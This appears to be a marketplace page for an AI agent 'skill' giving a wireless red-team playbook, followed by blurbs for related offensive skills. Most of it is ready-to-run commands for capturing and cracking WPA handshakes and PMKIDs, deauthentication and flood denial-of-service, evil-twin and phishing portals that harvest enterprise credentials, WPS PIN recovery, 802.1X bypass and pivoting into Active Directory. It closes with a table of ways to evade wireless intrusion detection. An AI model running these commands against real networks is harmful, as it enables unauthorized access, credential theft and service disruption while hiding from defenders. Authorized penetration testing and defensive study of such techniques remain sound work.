Plan and carry out wireless security assessments, from surveying nearby networks to checking authentication weaknesses and recording findings. Covers personal and enterprise Wi-Fi, rogue access points, and testing considerations for Wi-Fi 6, 6E, and 7.
한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.
Wireless / 802.11 attack methodology for red team engagements and wireless security assessments. Covers monitor-mode setup, WPA/WPA2-PSK handshake capture and PMKID attacks, WPA3 SAE downgrade and Dragonblood, WPA-Enterprise (EAP) attacks (MSCHAPv2 cracking, EAP-TLS cert theft, evil-twin RADIUS), Karma / Known Beacons / Mana evil twin attacks, captive-portal phishing, KRACK and FragAttacks, WPS Pixie Dust, deauthentication and disassociation attacks, rogue AP construction (hostapd-mana), 802.1X bypass, MAC randomization defeat, BLE/Zigbee/IEEE 802.15.4 sidebands, and Wi-Fi 6/6E/7 considerations. Use when scoping wireless pentest, war-driving an estate, or testing corporate wireless segmentation.
설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.
| Chipset | Strengths | Notes |
|---|---|---|
| Atheros AR9271 (Alfa AWUS036NHA) | Solid 2.4 GHz monitor + injection | 802.11n only |
| Realtek RTL8812AU (AWUS036ACH) | Dual-band, injection | Driver: aircrack-ng/rtl8812au |
| MediaTek MT7612U (AWUS036ACM) | Stable dual-band | Modern kernels in-tree |
| MediaTek MT7921AU | Wi-Fi 6 monitor (limited) | Patched drivers required |
| AWUS036AXML / AXM | Wi-Fi 6E (6 GHz) | Bleeding edge — verify per release |
# Verify monitor + injection
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo aireplay-ng --test wlan0mon
iw list | grep -A 8 "Supported interface modes"
# Multi-channel discovery (all bands)
sudo airodump-ng wlan0mon --band abg
# Targeted on a known channel/BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
# Hidden SSID — wait for client probe or force deauth
sudo airodump-ng -c 6 --essid-regex "." wlan0mon
# Wigle / Kismet for war-driving
kismet -c wlan0mon
Key data to record: BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.
# Targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# Force a reconnect (deauth one client, do not blanket the AP)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
Verify the EAPOL frames are usable:
hcxpcapngtool -o hash.hc22000 handshake-01.cap
PMKID lives in the first AP-to-station message — you can grab it without anyone connected.
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
# GPU dictionary attack
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
# Mask attack (e.g. carrier defaults: 10 digits)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
If the AP advertises both WPA2 and WPA3 (transition mode), force clients onto WPA2 by spoofing an RSN-only beacon and capturing as PSK.
Side-channel and downgrade attacks on SAE. Older hostapd (<2.10) with insufficient curve diversification leaks password elements via timing/cache attacks.
# Reference implementation
git clone https://github.com/vanhoefm/dragonblood
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Triggers heavy crypto on AP CPU; can DoS lower-end deployments
# Watch initial EAP-Request/Identity to fingerprint method
tshark -i wlan0mon -Y "eapol || eap" -V
| Inner Method | Attack |
|---|---|
| EAP-MSCHAPv2 (PEAP/TTLS) | Crack NetNTLMv1-style challenge offline |
| EAP-GTC | Cleartext password — capture via rogue RADIUS |
| EAP-TLS | Steal client cert (often in user keychain / DPAPI / NDES) |
| EAP-PWD | Dragonblood-class side channels |
# eaphammer — automated rogue AP + RADIUS
eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF \
--auth wpa-eap --creds
# Captured hashes → asleap or hashcat -m 5500
asleap -C challenge -R response -W wordlist.txt
Critical: organizations that don't pin server cert + CN on supplicants are vulnerable. Win10/11 with ServerValidation disabled (common for BYOD) will hand over creds.
%APPDATA%\Microsoft\SystemCertificates)# Capture WPS exchange
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# Or
bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
Vulnerable chipsets: Ralink, Realtek, Broadcom (older firmware), MediaTek (specific revs). Pixiewps recovers PIN in seconds when nonces are predictable.
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -N -d 15 -t 30 -T .5 -r 3:30
# Most modern APs lock out after a few failures — slow and noisy
# wifiphisher — automated AP + phishing portal
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
# airgeddon — interactive menu (good for one-off engagements)
sudo airgeddon
Older stations broadcast PNL (Preferred Network List) probes. KARMA replies "yes" to anything; Mana picks one realistic ESSID and answers consistently to defeat MAC randomization.
# hostapd-mana
sudo hostapd-mana ./mana.conf
# Combine with rogue RADIUS for enterprise nets
eaphammer -i wlan0 --known-beacons --known-ssids-file ssids.txt \
--auth wpa-eap --creds --hostile-portal
iOS/Android randomize MACs but leak per-SSID stable IDs. Cluster probes by sequence number and timing to re-identify devices.
| Attack | Class | Target |
|---|---|---|
| KRACK (CVE-2017-13077..082) | Key reinstallation | Unpatched WPA2 supplicants |
| FragAttacks (CVE-2020-24586..588) | Fragmentation/aggregation | Most pre-2021 implementations |
Test a network's patch status:
# Vanhoef test scripts
git clone https://github.com/vanhoefm/krackattacks-scripts
./krack-test-client.py
git clone https://github.com/vanhoefm/fragattacks
./test-fragattacks.py wlan0
# Single client deauth (use for handshake capture)
aireplay-ng --deauth 3 -a AP -c CLIENT wlan0mon
# Broadcast (DoS — only with explicit authorization)
mdk4 wlan0mon d -B target_bssids.txt
# Disassoc + auth flood combo (kicks then prevents reconnect)
mdk4 wlan0mon a -a AP_BSSID -m
802.11w (PMF) blocks unencrypted deauth. Most modern enterprise APs require it. Clients without PMF support are still kickable via Action frames.
# Sniff valid 802.1X exchange on wired side
tcpdump -i eth0 -w nac.pcap ether proto 0x888e
# silentbridge / nac_bypass — transparently bridge through an authenticated host
git clone https://github.com/s0lst1c3/silentbridge
silentbridge --takeover --phy wlan0 # variants for wired
| Tech | Tool | Notes |
|---|---|---|
| Bluetooth Classic | redfang, crackle, btproxy | LMP/L2CAP fuzzing |
| BLE | bettercap, Sniffle (TI CC1352), Frontline | GATT enumeration, LE Secure Connections downgrade |
| Zigbee / 802.15.4 | KillerBee, apimote, ATUSB | Touchlink commissioning abuse |
| Z-Wave | Z-Force, EZ-Wave | S0 key reuse bug class |
| LoRa / LoRaWAN | LoRaPWN, ChirpStack | Join-request replay, ABP key reuse |
| 433/868 MHz (Sub-GHz) | HackRF / Flipper Zero | Garage doors, doorbells, telemetry |
# If you crack a domain user via PEAP-MSCHAPv2, pivot to AD
nxc smb dc -u captured_user -p cracked_pass --pass-pol
# If RADIUS server is stand-alone (FreeRADIUS), check users file & MOTP secrets
# If on Windows NPS, pivot via the service account context
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. Recon (do not deauth yet)
sudo airodump-ng wlan0mon --band abg --write recon
# 3. PMKID sweep (passive)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
# 4. Targeted capture if PMKID empty
sudo airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a <AP> -c <client> wlan0mon
# 5. Crack offline
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 6. If enterprise → eaphammer evil twin
# 7. Document SSID, BSSID, channel, RSSI, encryption, attack used, time
| AP/WIDS Detector | Trigger | Evasion |
|---|---|---|
| Excessive deauth | >5 deauth/sec from one source MAC | Spread across spoofed MACs, target individuals |
| Rogue AP detection | Unauthorized BSSID on monitored channel | Match real BSSID's beacon timing/IE order exactly |
| Karma response anomaly | AP answering all probe SSIDs | Use Mana mode, pick one plausible SSID |
| WPS lockout | Repeated PIN failures | Pixie Dust offline only, abandon online brute |
| RADIUS log: cert mismatch | Supplicant rejects evil-twin cert | Use copies of victim CA-signed certs (unlikely) |
아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.
로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.
아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.
Assess Active Directory security by mapping accounts, permissions, and paths to administrative access. The skill covers credential misuse, certificate service misconfigurations, movement between systems, and hybrid identity environments involving Entra ID.
한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.
Organize red team exercises that simulate adversaries to assess an organization's detection and response. Covers engagement rules, infrastructure, operational controls, evidence handling, and reports that help security teams review gaps and prioritize improvements.
한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.
Review how evidence can be altered during authorized security exercises on Windows and Linux. Covers logs, timestamps, memory, disk records, and network traces, alongside the signs defenders use to detect manipulation.
한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.
Assess API business workflows for flaws that automated scanners can miss. The skill examines skipped steps, simultaneous transactions, authentication tokens, GraphQL, and webhooks, helping testers document weaknesses and their financial or operational impact during authorized assessments.
한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.
Test REST, gRPC, and WebSocket APIs for weaknesses in authentication, access controls, input handling, and configuration. Provides protocol-specific checks, tool guidance, and detection indicators to help document reproducible findings and severity during authorized assessments.
한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.
Assess Bluetooth Low Energy devices by inspecting exposed data and commands, pairing methods, captured traffic, and companion apps. The skill provides a testing workflow for identifying authentication gaps and weaknesses in device communication.
한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.